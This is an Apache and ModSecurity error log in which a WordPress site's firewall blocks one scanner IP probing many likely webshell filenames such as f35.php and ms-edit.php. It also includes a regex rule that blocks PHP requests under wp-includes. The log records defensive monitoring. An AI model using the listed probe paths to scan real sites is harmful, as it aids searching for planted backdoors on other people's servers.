[Fri Apr 10 21:52:29.818722 2026] [:error] [pid 62769:tid 62784] [client 20.251.36.179:54312] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkAncWsSnfLoB8ifjBmiwAAAk0"]
[Fri Apr 10 21:52:30.740769 2026] [:error] [pid 62819:tid 62825] [client 20.251.36.179:65456] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkAnvU20EyPf7Nlslds6AAAAoM"]
[Fri Apr 10 21:52:31.323278 2026] [:error] [pid 13189:tid 13209] [client 20.251.36.179:46306] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adkAn5AxiJKPums3eBDJtQAAAFE"]
[Fri Apr 10 21:52:32.290068 2026] [:error] [pid 63062:tid 63077] [client 20.251.36.179:46309] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAoJ2HtsmV85NqkMf0eAAAA40"]
[Fri Apr 10 21:52:32.854794 2026] [:error] [pid 62769:tid 62787] [client 20.251.36.179:33701] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAoMWsSnfLoB8ifjBmmQAAAlA"]
[Fri Apr 10 21:52:33.736764 2026] [:error] [pid 13100:tid 13128] [client 20.251.36.179:46275] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAoVzg-ZkZ0InWIP3CSQAAARc"]
[Fri Apr 10 21:52:34.434880 2026] [:error] [pid 62769:tid 62791] [client 20.251.36.179:27917] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAosWsSnfLoB8ifjBmnQAAAlQ"]
[Fri Apr 10 21:52:35.139750 2026] [:error] [pid 62884:tid 62915] [client 20.251.36.179:27922] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adkAo-UCK1xrhnnmpo2GlgAAAtg"]
[Fri Apr 10 21:52:35.785987 2026] [:error] [pid 13189:tid 13204] [client 20.251.36.179:46285] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adkAo5AxiJKPums3eBDJwAAAAEw"]
[Fri Apr 10 21:52:36.305923 2026] [:error] [pid 62710:tid 62722] [client 20.251.36.179:54963] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adkApOME7qrf5xEWWJseWQAAAgk"]
[Fri Apr 10 21:52:37.093691 2026] [:error] [pid 62819:tid 62838] [client 20.251.36.179:46277] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adkApfU20EyPf7Nlslds7gAAApA"]
[Fri Apr 10 21:52:37.856654 2026] [:error] [pid 13189:tid 13209] [client 20.251.36.179:46298] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "adkApZAxiJKPums3eBDJxAAAAFE"]
[Fri Apr 10 21:52:38.539775 2026] [:error] [pid 62769:tid 62781] [client 20.251.36.179:54928] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "adkApsWsSnfLoB8ifjBmqQAAAko"]
[Fri Apr 10 21:52:39.144055 2026] [:error] [pid 62710:tid 62735] [client 20.251.36.179:29853] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "adkAp-ME7qrf5xEWWJseXQAAAhY"]
[Fri Apr 10 21:52:39.852065 2026] [:error] [pid 62819:tid 62832] [client 20.251.36.179:29845] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "adkAp_U20EyPf7Nlslds8QAAAoo"]
[Fri Apr 10 21:52:40.475050 2026] [:error] [pid 13101:tid 13156] [client 20.251.36.179:29883] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAqN8Ldw85818pj2rnxQAAAJc"]
[Fri Apr 10 21:52:41.222948 2026] [:error] [pid 62769:tid 62785] [client 20.251.36.179:40298] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAqcWsSnfLoB8ifjBmrQAAAk4"]
[Fri Apr 10 21:52:41.798938 2026] [:error] [pid 63134:tid 63141] [client 20.251.36.179:18943] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAqdFALqPDwWi6eJKp8wAAA8Q"]
[Fri Apr 10 21:52:42.347938 2026] [:error] [pid 62710:tid 62713] [client 20.251.36.179:46292] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adkAquME7qrf5xEWWJsecQAAAgA"]
[Fri Apr 10 21:52:43.008485 2026] [:error] [pid 62769:tid 62775] [client 20.251.36.179:46314] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "adkAq8WsSnfLoB8ifjBmtgAAAkQ"]
[Fri Apr 10 21:52:43.621027 2026] [:error] [pid 62769:tid 62787] [client 20.251.36.179:42339] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "adkAq8WsSnfLoB8ifjBmvQAAAlA"]
[Fri Apr 10 21:52:44.168151 2026] [:error] [pid 13189:tid 13200] [client 20.251.36.179:46308] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "adkArJAxiJKPums3eBDJ1AAAAEg"]
[Fri Apr 10 21:52:44.791597 2026] [:error] [pid 13101:tid 13138] [client 20.251.36.179:33714] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "adkArN8Ldw85818pj2rnyAAAAIU"]
[Fri Apr 10 21:52:45.508365 2026] [:error] [pid 62769:tid 62784] [client 20.251.36.179:54291] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkArcWsSnfLoB8ifjBmyQAAAk0"]
[Fri Apr 10 21:52:47.247365 2026] [:error] [pid 62819:tid 62845] [client 20.251.36.179:46302] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkAr_U20EyPf7Nlslds_gAAApc"]
[Fri Apr 10 21:52:53.201057 2026] [:error] [pid 62651:tid 62658] [client 20.251.36.179:57651] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adkAtTbAH0le57SIaqwnOAAAAcU"]
[Fri Apr 10 21:54:04.710519 2026] [autoindex:error] [pid 63062:tid 63083] [client 20.251.36.179:46211] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 10 21:54:10.542896 2026] [autoindex:error] [pid 63062:tid 63080] [client 20.251.36.179:46211] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 10 21:54:41.452839 2026] [:error] [pid 62710:tid 62713] [client 20.251.36.179:47515] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "adkBIeME7qrf5xEWWJsfigAAAgA"]
[Fri Apr 10 21:54:47.279281 2026] [:error] [pid 62710:tid 62723] [client 20.251.36.179:22984] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "adkBJ-ME7qrf5xEWWJsfmQAAAgo"]
[Fri Apr 10 21:54:49.790629 2026] [:error] [pid 62769:tid 62783] [client 20.251.36.179:3043] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "adkBKcWsSnfLoB8ifjBpfAAAAkw"]
[Fri Apr 10 21:54:51.703452 2026] [:error] [pid 62819:tid 62846] [client 20.251.36.179:23011] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "adkBK_U20EyPf7NlsldthAAAApg"]
[Fri Apr 10 21:54:52.665062 2026] [:error] [pid 62651:tid 62670] [client 20.251.36.179:40962] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "adkBLDbAH0le57SIaqwn9gAAAdE"]
[Fri Apr 10 21:54:54.833369 2026] [:error] [pid 13189:tid 13211] [client 20.251.36.179:25542] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "adkBLpAxiJKPums3eBDLYQAAAFM"]
[Fri Apr 10 21:54:55.569928 2026] [:error] [pid 62769:tid 62794] [client 20.251.36.179:22984] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "adkBL8WsSnfLoB8ifjBpkgAAAlc"]
[Fri Apr 10 21:54:56.467713 2026] [:error] [pid 13101:tid 13135] [client 20.251.36.179:2401] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "adkBMN8Ldw85818pj2ro0gAAAII"]
[Fri Apr 10 21:54:57.490577 2026] [:error] [pid 13189:tid 13201] [client 20.251.36.179:2375] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "adkBMZAxiJKPums3eBDLaQAAAEk"]
[Fri Apr 10 21:54:58.230738 2026] [:error] [pid 62769:tid 62787] [client 20.251.36.179:25536] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "adkBMsWsSnfLoB8ifjBpqwAAAlA"]
[Fri Apr 10 21:54:59.762398 2026] [:error] [pid 13101:tid 13142] [client 20.251.36.179:22417] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "adkBM98Ldw85818pj2ro3AAAAIk"]
[Fri Apr 10 21:55:00.398088 2026] [:error] [pid 62710:tid 62715] [client 20.251.36.179:32455] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "adkBNOME7qrf5xEWWJsfpAAAAgI"]
[Fri Apr 10 21:55:01.036614 2026] [:error] [pid 62819:tid 62831] [client 20.251.36.179:22978] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adkBNfU20EyPf7NlsldtiQAAAok"]
[Fri Apr 10 21:55:02.003401 2026] [:error] [pid 13189:tid 13207] [client 20.251.36.179:3065] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adkBNpAxiJKPums3eBDLeQAAAE8"]
[Fri Apr 10 21:55:02.640925 2026] [:error] [pid 13101:tid 13154] [client 20.251.36.179:65396] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adkBNt8Ldw85818pj2ro4wAAAJU"]
[Fri Apr 10 21:55:03.333768 2026] [:error] [pid 63062:tid 63088] [client 20.251.36.179:57673] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adkBN52HtsmV85NqkMf1NgAAA5g"]
[Fri Apr 10 21:55:04.027020 2026] [:error] [pid 63134:tid 63155] [client 20.251.36.179:25541] [client 20.251.36.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adkBONFALqPDwWi6eJKqrwAAA9I"]
[Fri Apr 10 21:55:04.637588 2026] [:error] [pid 62819:tid 62825] [client 20.251.36.179:25583] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "adkBOPU20EyPf7NlsldtjwAAAoM"]
[Fri Apr 10 21:55:05.264607 2026] [:error] [pid 62769:tid 62784] [client 20.251.36.179:29914] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "adkBOcWsSnfLoB8ifjBpuAAAAk0"]
[Fri Apr 10 21:55:06.954709 2026] [:error] [pid 62769:tid 62792] [client 20.251.36.179:25560] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "adkBOsWsSnfLoB8ifjBpvAAAAlU"]
[Fri Apr 10 21:55:08.851094 2026] [:error] [pid 63134:tid 63138] [client 20.251.36.179:34520] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "adkBPNFALqPDwWi6eJKqtgAAA8E"]
[Fri Apr 10 21:55:11.022399 2026] [:error] [pid 62884:tid 62894] [client 20.251.36.179:22463] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkBP-UCK1xrhnnmpo2HFQAAAsM"]
[Fri Apr 10 21:55:13.101825 2026] [:error] [pid 62884:tid 62893] [client 20.251.36.179:22498] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkBQeUCK1xrhnnmpo2HIQAAAsI"]
[Fri Apr 10 21:55:15.862299 2026] [:error] [pid 13101:tid 13141] [client 20.251.36.179:22464] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkBQ98Ldw85818pj2ro_wAAAIg"]
[Fri Apr 10 21:55:17.448557 2026] [:error] [pid 62769:tid 62777] [client 20.251.36.179:22985] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkBRcWsSnfLoB8ifjBp3gAAAkY"]
[Fri Apr 10 21:55:18.415107 2026] [:error] [pid 13101:tid 13150] [client 20.251.36.179:3035] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkBRt8Ldw85818pj2rpBwAAAJE"]
[Fri Apr 10 21:55:19.189288 2026] [:error] [pid 13101:tid 13141] [client 20.251.36.179:3055] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkBR98Ldw85818pj2rpDAAAAIg"]
[Fri Apr 10 21:55:20.324167 2026] [:error] [pid 63062:tid 63079] [client 20.251.36.179:25547] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkBSJ2HtsmV85NqkMf1PQAAA48"]
